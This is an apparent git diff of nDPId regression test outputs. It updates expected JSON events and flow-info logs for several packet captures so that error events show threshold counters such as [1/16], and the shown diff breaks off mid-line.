00371{"packet_event_id":1,"packet_event_name":"packet","packet_id":212,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409925057831,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAAGQBXT1JLR1JPVVAgICAgICAdTUFSVElOIFJPU0VOQVUgAw=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":213,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409925661877} +00300{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409925661877,"packet_id":213,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409925661877} 00371{"packet_event_id":1,"packet_event_name":"packet","packet_id":213,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409925057831,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAAGQBXT1JLR1JPVVAgICAgICAeTUFSVElOIFJPU0VOQVUgAw=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":214,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409926307736} +00300{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409926307736,"packet_id":214,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409926307736} 00371{"packet_event_id":1,"packet_event_name":"packet","packet_id":214,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409925057831,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAAGQAAAAAAAAAAAAAAAAAAAAAATUFSVElOIFJPU0VOQVUgAw=="} 02131{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":220,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"finished","flow_src_packets_processed":32,"flow_dst_packets_processed":0,"flow_first_seen":1576409800543745,"flow_src_last_pkt_time":1576409931837438,"flow_dst_last_pkt_time":1576409800543745,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":68,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":68,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":2176,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409931837438,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":43,"avg":4235280.5,"max":96434388,"stddev":17261798.0,"var":297969697947648.0,"ent":1.5,"data": [471,72,38984,710235,79,43,39467,709823,84,47,40333,710082,133,63,40024,760697,749893,749148,750102,96434388,763919,759984,756024,755162,752213,756593,760022,22000853,749883,749867,755005]},"pktlen": {"min":96,"avg":96.0,"max":96,"stddev":0.0,"var":0.0,"ent":5.0,"data": [96,96,96,96,96,96,96,96,96,96,96,96,96,96,96,96,96,96,96,96,96,96,96,96,96,96,96,96,96,96,96,96]},"bins": {"c_to_s": [0,0,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]},"directions": [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"entropies": [4.156764984,4.210426807,4.197602749,4.176768780,4.197602749,4.231260300,4.177598476,4.176768780,4.177598476,4.193659782,4.197602749,4.176768780,4.197602749,4.231260300,4.177598476,4.155935764,4.289934158,4.323737621,4.323737621,4.323737621,4.282100201,4.282100201,4.282100201,4.248297215,4.376053333,4.376053333,4.376053333,4.355220318,4.281060219,4.286166668,4.277262688,4.307000160]},"ndpi": {"confidence": {"6":"DPI"},"proto":"NetBIOS","proto_id":"10","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System"}} 00880{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":220,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1576409798047534,"flow_src_last_pkt_time":1576409798047534,"flow_dst_last_pkt_time":1576409798047534,"flow_idle_time":140000000,"flow_src_min_l4_payload_len":8,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":8,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":8,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409931837438,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"224.0.0.2","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"ICMP","proto_id":"81","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00923{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":220,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"finished","flow_src_packets_processed":32,"flow_dst_packets_processed":0,"flow_first_seen":1576409800543745,"flow_src_last_pkt_time":1576409931837438,"flow_dst_last_pkt_time":1576409800543745,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":68,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":68,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":2176,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409931837438,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"NetBIOS","proto_id":"10","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System"}} 00920{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":220,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"finished","flow_src_packets_processed":14,"flow_dst_packets_processed":0,"flow_first_seen":1576409797553896,"flow_src_last_pkt_time":1576409928060524,"flow_dst_last_pkt_time":1576409797553896,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":68,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":68,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":952,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409931837438,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.2","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"NetBIOS","proto_id":"10","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System"}} 01052{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":220,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"finished","flow_src_packets_processed":15,"flow_dst_packets_processed":0,"flow_first_seen":1576409807597015,"flow_src_last_pkt_time":1576409923353834,"flow_dst_last_pkt_time":1576409807597015,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":177,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":207,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":2817,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409931837438,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"22": {"risk":"Unsafe Protocol","severity":"Low","risk_score": {"total":750,"client":575,"server":175}}},"confidence": {"6":"DPI"},"proto":"NetBIOS.SMBv1","proto_id":"10.16","encrypted":0,"breed":"Dangerous","category_id":18,"category":"System"}} -00576{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":220,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","packets-captured":220,"packets-processed":62,"total-skipped-flows":0,"total-l4-payload-len":5953,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":4,"total-detection-updates":0,"total-updates":8,"current-active-flows":0,"total-active-flows":4,"total-idle-flows":4,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":350,"global_ts_usec":1576409931837438} +00576{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":220,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","packets-captured":220,"packets-processed":62,"total-skipped-flows":0,"total-l4-payload-len":5953,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":4,"total-detection-updates":0,"total-updates":8,"current-active-flows":0,"total-active-flows":4,"total-idle-flows":4,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":104,"global_ts_usec":1576409931837438} ~~~~~~~~~~~~~~~~~~~~ SUMMARY ~~~~~~~~~~~~~~~~~~~~ ~~ packets captured/processed: 220/62 ~~ skipped flows.............: 0 @@ -360,6 +114,6 @@ ~~ total memory freed........: 6042771 bytes ~~ total allocations/frees...: 121580/121580 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 203 chars +~~ json string min len.......: 303 chars ~~ json string max len.......: 2136 chars -~~ json string avg len.......: 1167 chars +~~ json string avg len.......: 1210 chars diff --git a/test/results/flow-info/4in4tunnel.pcap.out b/test/results/flow-info/4in4tunnel.pcap.out index 61f76d062..fd6213bcf 100644 --- a/test/results/flow-info/4in4tunnel.pcap.out +++ b/test/results/flow-info/4in4tunnel.pcap.out @@ -1,17 +1,17 @@ DAEMON-EVENT: init DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] DAEMON-EVENT: shutdown diff --git a/test/results/flow-info/BGP_redist.pcap.out b/test/results/flow-info/BGP_redist.pcap.out index ce0f411ae..c9949d862 100644 --- a/test/results/flow-info/BGP_redist.pcap.out +++ b/test/results/flow-info/BGP_redist.pcap.out @@ -1,7 +1,7 @@ DAEMON-EVENT: init DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: Unknown L3 protocol [1/16] new: [.....1] [ip4][..tcp] [........2.2.2.2][..179] -> [........5.5.5.5][49433] [MIDSTREAM] detected: [.....1] [ip4][..tcp] [........2.2.2.2][..179] -> [........5.5.5.5][49433] [BGP][Network][Acceptable] idle: [.....1] [ip4][..tcp] [........2.2.2.2][..179] -> [........5.5.5.5][49433] [BGP][Network][Acceptable] diff --git a/test/results/flow-info/ajp.pcap.out b/test/results/flow-info/ajp.pcap.out index fe7876d80..68d41720b 100644 --- a/test/results/flow-info/ajp.pcap.out +++ b/test/results/flow-info/ajp.pcap.out @@ -2,21 +2,21 @@ DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] new: [.....1] [ip4][..tcp] [...172.29.9.146][38856] -> [...172.29.9.147][.8009] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] detected: [.....1] [ip4][..tcp] [...172.29.9.146][38856] -> [...172.29.9.147][.8009] [AJP][Web][Acceptable] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [4/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [5/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [6/16] new: [.....2] [ip4][..tcp] [...172.29.9.146][38856] -> [...172.29.9.147][.8010] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [7/16] detected: [.....2] [ip4][..tcp] [...172.29.9.146][38856] -> [...172.29.9.147][.8010] [AJP][Web][Acceptable] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [8/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [9/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [10/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [11/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [12/16] idle: [.....1] [ip4][..tcp] [...172.29.9.146][38856] -> [...172.29.9.147][.8009] [AJP][Web][Acceptable] idle: [.....2] [ip4][..tcp] [...172.29.9.146][38856] -> [...172.29.9.147][.8010] [AJP][Web][Acceptable] DAEMON-EVENT: shutdown diff --git a/test/results/flow-info/alexa-app.pcapng.out b/test/results/flow-info/alexa-app.pcapng.out index 5fd9611e8..a5de6c4a1 100644 --- a/test/results/flow-info/alexa-app.pcapng.out +++ b/test/results/flow-info/alexa-app.pcapng.out @@ -1,8 +1,8 @@ DAEMON-EVENT: init DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown packet type [2/16] new: [.....1] [ip6][icmp6] [.....................................::] -> [......................ff02::1:ffd3:fbc2] detected: [.....1] [ip6][icmp6] [.....................................::] -> [......................ff02::1:ffd3:fbc2] [ICMPV6][Network][Acceptable] new: [.....2] [ip6][icmp6] [.....................................::] -> [...............................ff02::16] @@ -136,7 +136,7 @@ detection-update: [....36] [ip4][..tcp] [..172.16.42.216][34019] -> [..54.239.24.186][..443] [TLS.AmazonAWS][Cloud][Acceptable][mobileanalytics.us-east-1.amazonaws.com] new: [....40] [ip4][..udp] [..172.16.42.216][43350] -> [....172.16.42.1][...53] detected: [....40] [ip4][..udp] [..172.16.42.216][43350] -> [....172.16.42.1][...53] [DNS.Amazon][Web][Acceptable][fls-na.amazon.com] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] analyse: [....28] [ip4][..tcp] [..172.16.42.216][45661] -> [..52.94.232.134][..443] [TLS.Amazon][Web][Acceptable] min| max| avg| stddev| variance| entropy [IAT.........: 0.000| 1.016| 0.161| 0.286| 81844.249| 3.400] @@ -226,7 +226,7 @@ new: [....56] [ip4][..tcp] [..172.16.42.216][42144] -> [..72.21.206.135][..443] detected: [....56] [ip4][..tcp] [..172.16.42.216][42144] -> [..72.21.206.135][..443] [TLS.Amazon][Web][Acceptable][fls-na.amazon.com] detection-update: [....56] [ip4][..tcp] [..172.16.42.216][42144] -> [..72.21.206.135][..443] [TLS.Amazon][Web][Acceptable][fls-na.amazon.com] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [2/16] new: [....57] [ip4][..tcp] [..172.16.42.216][45687] -> [..52.94.232.134][..443] detected: [....57] [ip4][..tcp] [..172.16.42.216][45687] -> [..52.94.232.134][..443] [TLS.Amazon][Web][Acceptable][pitangui.amazon.com] detection-update: [....57] [ip4][..tcp] [..172.16.42.216][45687] -> [..52.94.232.134][..443] [TLS.Amazon][Web][Acceptable][pitangui.amazon.com] @@ -436,7 +436,7 @@ RISK: TLS (probably) Not Carrying HTTPS detection-update: [....99] [ip4][..tcp] [..172.16.42.216][44001] -> [..176.32.101.52][..443] [TLS.Amazon][Web][Acceptable][dp-gw-na-js.amazon.com] RISK: TLS (probably) Not Carrying HTTPS - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] update: [....27] [ip4][..udp] [..172.16.42.216][54886] -> [....172.16.42.1][...53] [DNS.Amazon][Web][Acceptable] update: [....14] [ip4][.icmp] [....172.16.42.1] -> [..172.16.42.216] [ICMP][Network][Acceptable] update: [....40] [ip4][..udp] [..172.16.42.216][43350] -> [....172.16.42.1][...53] [DNS.Amazon][Web][Acceptable] diff --git a/test/results/flow-info/badpackets.pcap.out b/test/results/flow-info/badpackets.pcap.out index fb062506b..7f6345b25 100644 --- a/test/results/flow-info/badpackets.pcap.out +++ b/test/results/flow-info/badpackets.pcap.out @@ -1,106 +1,101 @@ DAEMON-EVENT: init DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [4/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [5/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [6/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [7/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [8/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [9/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [10/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [11/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [12/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [13/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [14/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [15/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [16/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [4/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [5/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [6/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [7/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [4/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [5/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [6/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [7/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [8/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [9/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [10/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [11/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [12/16] DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI 